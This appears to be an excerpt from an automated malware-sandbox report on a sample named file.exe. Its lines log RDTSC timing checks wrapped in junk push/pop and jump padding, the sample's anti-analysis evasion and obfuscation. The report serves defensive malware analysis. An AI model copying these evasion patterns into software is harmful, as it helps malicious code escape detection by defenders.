Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F47C3 second address: 6F47C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F47C9 second address: 6F47CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F47CF second address: 6F47D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F47D5 second address: 6F47F4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F9BD0B1307Bh 0x0000000e jmp 00007F9BD0B1306Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F47F4 second address: 6F480A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F9BD074F0CCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F480A second address: 6F4831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B13078h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F9BD0B13066h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4AE3 second address: 6F4AF1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9BD074F0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F51CB second address: 6F51DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 js 00007F9BD0B13066h 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F51DA second address: 6F520A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0CBh 0x00000007 jmp 00007F9BD074F0D9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F520A second address: 6F5214 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9BD0B13066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F97D8 second address: 6F97DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F97DC second address: 6F97E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD23C second address: 6FD24C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD394 second address: 6FD3AF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9BD0B13066h 0x00000008 jmp 00007F9BD0B13071h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FFADD second address: 6FFAEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop ecx 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709300 second address: 709304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709304 second address: 709321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F9BD074F0CAh 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007F9BD074F0C6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709321 second address: 709333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F9BD0B13066h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709333 second address: 709337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709337 second address: 709344 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9BD0B13066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709344 second address: 70934D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70934D second address: 709352 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709352 second address: 709365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD074F0CDh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711CE9 second address: 711D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jp 00007F9BD0B1306Eh 0x00000011 jmp 00007F9BD0B13071h 0x00000016 jmp 00007F9BD0B13073h 0x0000001b popad 0x0000001c pushad 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711D2B second address: 711D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711D36 second address: 711D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711D3A second address: 711D49 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9BD074F0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711D49 second address: 711D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724D07 second address: 724D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD074F0D7h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724D27 second address: 724D2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724D2B second address: 724D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724E6F second address: 724E79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724E79 second address: 724E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724E7F second address: 724E83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724E83 second address: 724E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724FC6 second address: 724FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72511E second address: 725140 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9BD074F0D8h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725140 second address: 725146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725146 second address: 725152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jns 00007F9BD074F0C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725152 second address: 72515C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9BD0B13066h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72515C second address: 725178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F9BD074F0C6h 0x0000000d jmp 00007F9BD074F0CDh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739C33 second address: 739C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739C37 second address: 739C47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007F9BD074F0C6h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739C47 second address: 739C4C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735CFD second address: 735D01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746FF3 second address: 747019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B13079h 0x00000009 popad 0x0000000a jng 00007F9BD0B13072h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 747019 second address: 74701F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760A37 second address: 760A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760E6D second address: 760E72 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760E72 second address: 760E81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9BD0B13066h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760E81 second address: 760E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760E87 second address: 760E8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761024 second address: 761031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F9BD074F0CCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7616F9 second address: 76170E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9BD0B1306Ah 0x00000008 jo 00007F9BD0B13066h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761842 second address: 761846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761846 second address: 761853 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9BD0B13066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761853 second address: 761858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761858 second address: 76185D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7633BF second address: 7633C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7633C3 second address: 7633C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7633C7 second address: 7633CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766269 second address: 7662B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F9BD0B13076h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F9BD0B13068h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push dword ptr [ebp+122D17FCh] 0x0000002d push 44274831h 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 push esi 0x00000036 pop esi 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7662B6 second address: 7662BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7674CC second address: 767502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9BD0B13066h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jno 00007F9BD0B13066h 0x00000015 jp 00007F9BD0B13066h 0x0000001b jp 00007F9BD0B13066h 0x00000021 popad 0x00000022 jmp 00007F9BD0B13074h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768DAA second address: 768DB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jo 00007F9BD074F0D2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768DB9 second address: 768DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9BD0B13066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A03B8 second address: 51A03BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A03BC second address: 51A03C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0449 second address: 51A044F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A044F second address: 51A0453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A053E second address: 51A0587 instructions: 0x00000000 rdtsc 0x00000002 call 00007F9BD074F0D3h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F9BD074F0D1h 0x00000015 and ah, 00000046h 0x00000018 jmp 00007F9BD074F0D1h 0x0000001d popfd 0x0000001e mov cx, F3F7h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0587 second address: 51A058D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A058D second address: 51A0591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0591 second address: 51A05CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c movsx edx, ax 0x0000000f call 00007F9BD0B1306Ah 0x00000014 movzx esi, dx 0x00000017 pop edi 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F9BD0B13079h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A068A second address: 51A0690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0690 second address: 51A06B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F9C412969C0h 0x0000000d push 759227D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [759B0140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F9BD0B13079h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A06B8 second address: 51A06C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A06C0 second address: 51A06F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 and dword ptr [ebp-04h], 00000000h 0x0000000b pushad 0x0000000c mov bl, 1Ch 0x0000000e pushfd 0x0000000f jmp 00007F9BD0B1306Eh 0x00000014 or ax, 9018h 0x00000019 jmp 00007F9BD0B1306Bh 0x0000001e popfd 0x0000001f popad 0x00000020 mov edx, dword ptr [ebp+0Ch] 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A06F8 second address: 51A06FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A06FC second address: 51A0702 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0702 second address: 51A078C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 56h 0x00000005 pushfd 0x00000006 jmp 00007F9BD074F0D5h 0x0000000b xor eax, 68024466h 0x00000011 jmp 00007F9BD074F0D1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, edx 0x0000001c pushad 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F9BD074F0D9h 0x00000024 xor ch, 00000076h 0x00000027 jmp 00007F9BD074F0D1h 0x0000002c popfd 0x0000002d popad 0x0000002e mov edi, esi 0x00000030 popad 0x00000031 mov al, byte ptr [edx] 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F9BD074F0D9h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A078C second address: 51A07D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9BD0B13077h 0x00000009 sub ax, 270Eh 0x0000000e jmp 00007F9BD0B13079h 0x00000013 popfd 0x00000014 mov ebx, esi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 inc edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A07D1 second address: 51A07D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A07D6 second address: 51A0803 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B13071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ecx 0x00000010 call 00007F9BD0B1306Fh 0x00000015 pop ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0803 second address: 51A082E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9BD074F0D4h 0x00000009 xor ax, 8248h 0x0000000e jmp 00007F9BD074F0CBh 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A082E second address: 51A078C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jne 00007F9BD0B12F9Ah 0x0000000d mov al, byte ptr [edx] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9BD0B13079h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0857 second address: 51A085B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A085B second address: 51A0861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0861 second address: 51A0867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A09B6 second address: 51A09BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A09BC second address: 51A09C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A09C0 second address: 51A09C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
